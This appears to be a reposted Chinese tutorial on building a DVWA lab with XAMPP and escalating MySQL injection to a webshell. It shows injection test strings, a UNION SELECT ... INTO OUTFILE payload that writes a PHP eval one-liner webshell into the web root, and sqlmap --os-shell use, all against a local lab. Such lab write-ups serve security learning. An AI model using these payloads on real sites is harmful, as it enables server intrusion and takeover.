如何從MySql注入到GetShell搭建dvwa環(huán)境

如何從MySQL注入到GetShell搭建dvwa環(huán)境,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

目前成都創(chuàng)新互聯(lián)已為上千的企業(yè)提供了網(wǎng)站建設(shè)、域名、雅安服務(wù)器托管、網(wǎng)站改版維護、企業(yè)網(wǎng)站設(shè)計、高郵網(wǎng)站維護等服務(wù),公司將堅持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。

引言

有一天之前帶我的師傅說給你網(wǎng)站,幫忙做下滲透,于是我經(jīng)過一番測試,發(fā)現(xiàn)了暴力破解,還有一些驗證繞過的邏輯漏洞,匆匆寫了報告交差,師傅一頓夸之后說他自己通過注入getshell了一個同C段的網(wǎng)站,我說我C段掃描時候并沒有發(fā)現(xiàn)這個IP?。ù鞌「兄碌慕杩冢?,然后我說我如果能發(fā)現(xiàn)這個系統(tǒng)應(yīng)該也能getshell,師傅的一句話有點觸及到我的那啥(你估計應(yīng)該不會通過mysql注入getshell)。

是啊,在項目上的系統(tǒng)每周每個月經(jīng)過幾十遍的過濾,平時看到提交參數(shù)的地方也就sqlmap跑一跑,對于最基礎(chǔ)的手工注入都沒有扎實的學(xué)會,于是我決定要知道如何搭建環(huán)境并學(xué)會如何通過 mysql 到 getshell。  

通過查資料,總結(jié)出了這篇文章,把自己心路歷程寫出來分享給初學(xué)者也希望能得到大牛的指正,希望入門級玩家能共勉,自己多創(chuàng)建學(xué)習(xí)的環(huán)境,多思考。

搭建環(huán)境

在剛開始學(xué)習(xí)的時候,就是通過搭建DVWA學(xué)習(xí)各種漏洞,sql注入,xss,文件上傳等等,所以在想到如何搭建一個存在注入的環(huán)境時候,腦海中立刻有了這個想法,我們看到的教程往往只會介紹如何通過高中低的安全級別進行漏洞的復(fù)現(xiàn),那為什么不可以通過注入進行g(shù)etshell呢,所以我立刻搭建了環(huán)境準備嘗試一下。

STEP 1 準備好需要的文件,在網(wǎng)上都可以免費下載的到

1)Xampp集成環(huán)境

2)Dvwa壓縮包

如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 2 點擊安裝并啟動xampp,其中可能在開啟apache時會出現(xiàn)錯誤,此時需要通過修改config文件把端口改成未占用的端口即可,我這里就改為4433 與8081。

如何從MySql注入到GetShell搭建dvwa環(huán)境

把dvwa解壓并放到xampp目錄下的htdoc目錄下

如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 3 此時環(huán)境已經(jīng)搭建完畢,訪問登陸,就可以看到各種各樣的漏洞環(huán)境。

如何從MySql注入到GetShell搭建dvwa環(huán)境

參考:站內(nèi)及網(wǎng)上有關(guān)于搭建環(huán)境的詳細介紹,如按照上述步驟不能搭建成功,可自行搜索解決問題。

鏈接:http://www.freebuf.com/sectool/102661.html

漏洞利用—— 手工篇

手工注入到getshell思路:

1)判斷是否有注入,注入是字符型還是數(shù)字型;

2)然后利用sql語句來進行操作磁盤文件(mysql數(shù)據(jù)庫讀取磁盤文件是非常簡單的,因為mysql提供了load_file()等函數(shù),如果把數(shù)據(jù)庫與網(wǎng)站裝在同服務(wù)器上,就很容易被寫入webshell)。

漏洞利用

STEP 1輸入1,查詢成功

如何從MySql注入到GetShell搭建dvwa環(huán)境

輸入1'and '1 '='2,查詢失敗,返回為空

如何從MySql注入到GetShell搭建dvwa環(huán)境

輸入1'or '1234 '='1234,查詢成功,說明存在注入

如何從MySql注入到GetShell搭建dvwa環(huán)境

我們通過查看源代碼功能,看一下在low級別中是如何進行數(shù)據(jù)庫查詢的

如何從MySql注入到GetShell搭建dvwa環(huán)境

我們把我們剛才注入成功的語句拼接到sql查詢語句中進行分析

如何從MySql注入到GetShell搭建dvwa環(huán)境原理其實很簡單,就是通過一個條件語句判斷,如果where后面的條件語句為真,就可以進行查詢,如果條件判斷為假,就為錯,不返回任何結(jié)果。在高中我們學(xué)習(xí)條件語句的時候就知道在進行or運算的時的規(guī)則:    
如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 2SQL語句只union查詢

大多數(shù)的SQL查詢只包含從一個或多個表中返回數(shù)據(jù)的單條SELECT語句(比如說我們在id處輸入1,就會返回一個結(jié)果),但是SQL也允許執(zhí)行多個查詢(多條SELECT語句),并將結(jié)果作為一個查詢結(jié)果集返回。這些組合查詢通常稱為并或復(fù)合查詢,一般常見的數(shù)據(jù)庫有都支持UNION查詢,使用UNION很簡單,所要做的只是給出每條SELECT語句,然后再每條SELECT語句之間加上UNION關(guān)鍵字,這樣所給出的SELECT結(jié)果集就能組合成一個結(jié)果集并返回。

舉例說明

1)我們在id處輸入1 ,返回一個結(jié)果

如何從MySql注入到GetShell搭建dvwa環(huán)境

2)在id處輸入1' union select 1,2',可以看出,我們在數(shù)據(jù)庫中執(zhí)行了兩次select查詢

如何從MySql注入到GetShell搭建dvwa環(huán)境

并同時返回了兩個結(jié)果

如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 3 利用union查詢執(zhí)行mysql所帶有的函數(shù),對磁盤文件進行操作

1)我們輸入1' union select 1,'<?php @eval($_POST['pass']) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' # 使用into outfile 寫入一句話木馬,文件名為1.php,發(fā)現(xiàn)報錯了,查找原因。

如何從MySql注入到GetShell搭建dvwa環(huán)境

2)通過報錯信息可以看到應(yīng)該說是單引號閉合的問題,因為前段時間在學(xué)python,所以決定把一句話木馬里的單引號改成雙引號試一試

1' union select 1,'<?php @eval($_POST["pass"]) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' # (剛才開始不知道sql語句中單引號里要用雙引號,簡直折磨啊,各種用單引號進行閉合,各種報錯,各種頭鐵嘗試,我甚至以為是不是我沒有權(quán)限進行寫入文件,錯誤的懷疑人生。)

如何從MySql注入到GetShell搭建dvwa環(huán)境

3)沒有報錯信息了,成功了?查看目錄,果然有了1.php文件,趕緊上菜刀(舒服啊,雖然沒有真實環(huán)境那么開心,但是畢竟也算是利用成功了)

如何從MySql注入到GetShell搭建dvwa環(huán)境

手工測試到這里就結(jié)束了,像我這種工具狗,肯定想辦法用工具來解決。

漏洞利用—— 工具篇

最常見的利用發(fā)現(xiàn)sql注入的方式就是sqlmap了,做滲透測試的人手一本,知道存在sql注入,上來就拿過來跑一跑

STEP1 :發(fā)現(xiàn)注入,并且實現(xiàn)

URL:http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,哇X,結(jié)果竟然失敗了,通過下圖的sqlmap中報的302信息中可以看到在進行測試時是跳轉(zhuǎn)到了登陸界面,原來用sqlmap測試是需要登陸的。

如何從MySql注入到GetShell搭建dvwa環(huán)境如何從MySql注入到GetShell搭建dvwa環(huán)境

一番操作,知道要添加cookie進行測試,成功啦。

如何從MySql注入到GetShell搭建dvwa環(huán)境如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 2:利用sqlmap中os-shell 參數(shù)繼續(xù)進行攻擊(–os-shell 也就是從注入點獲得一個交互式的shell,給我們提供了一個環(huán)境可以執(zhí)行一定的系統(tǒng)命令,講白了也就是類似于在windows下的cmd)。

如何從MySql注入到GetShell搭建dvwa環(huán)境如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 3: 根據(jù)具體系統(tǒng)的環(huán)境來選擇語言,Dvwa用的是php,自然就選擇php,然后選擇2自定義上傳位置。此處想要獲得shell,就必須知道網(wǎng)站的絕對路徑。(C:\xampp\htdocs\dvwa中的路徑分隔符\在windows下需要在加上\進行轉(zhuǎn)譯)。

如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 4 :可以看到獲得了os-shell,并且在網(wǎng)站目錄下上傳了兩個php格式的文件,我們對這兩個文件進行訪問,可看到給我們提供了上傳點,通過上傳點進行木馬文件的上傳。

如何從MySql注入到GetShell搭建dvwa環(huán)境

STEP 5: 利用此上傳點上傳2.php,內(nèi)容為php一句話木馬(熟悉php的可以自己寫,不熟悉的可以百度),然后通過菜刀進行連接,獲得shell。

如何從MySql注入到GetShell搭建dvwa環(huán)境如何從MySql注入到GetShell搭建dvwa環(huán)境

總結(jié)

自己的學(xué)習(xí)探索過程遠遠不止這些,因為在搭建環(huán)境包括在利用漏洞的時候都會出現(xiàn)各種各樣的問題,都需要通過不斷的探索去解決,比如說在手工進行注入的時候甚至因為單引號是中文的還是英文的吃過虧,還有如何進行單引號閉合,進行sqlmap進行攻擊的時候需要添加cookie,在獲得os-shell時候需要加反斜杠進行轉(zhuǎn)譯等等...,一次一次的錯誤,一次一次的解決,不放棄靜下心來解決問題,學(xué)習(xí)的過程就是如此,包括平時的滲透也是如此,需要耐下心來慢慢的摸索,在摸索的過程中不斷提升自己的技術(shù),不斷的成長,畢竟大牛也不是一天練成的。

缺點

1)環(huán)境為搭建的環(huán)境,權(quán)限較高,也沒有防火墻、waf等安全設(shè)備的防護,不會出現(xiàn)被攔截等情況,真實的環(huán)境往往需要躲過一重又一重的防護。

2)文章中未涉及l(fā)inux下的攻擊利用方式,因為os-shell一直是一個吐槽的點,這需要注入點有多大的權(quán)限啊,有這個權(quán)限,我還需要這個操作么之類的?其中在linux就因為權(quán)限的問題沒有解決,所以沒有利用成功,同時看了大牛的文章什么監(jiān)聽反彈shell之類的也是有點懵的。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對創(chuàng)新互聯(lián)的支持。

網(wǎng)站題目:如何從MySql注入到GetShell搭建dvwa環(huán)境
URL標題:http://muchs.cn/article20/ijchco.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供搜索引擎優(yōu)化、自適應(yīng)網(wǎng)站、手機網(wǎng)站建設(shè)App開發(fā)、企業(yè)建站Google

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都定制網(wǎng)站網(wǎng)頁設(shè)計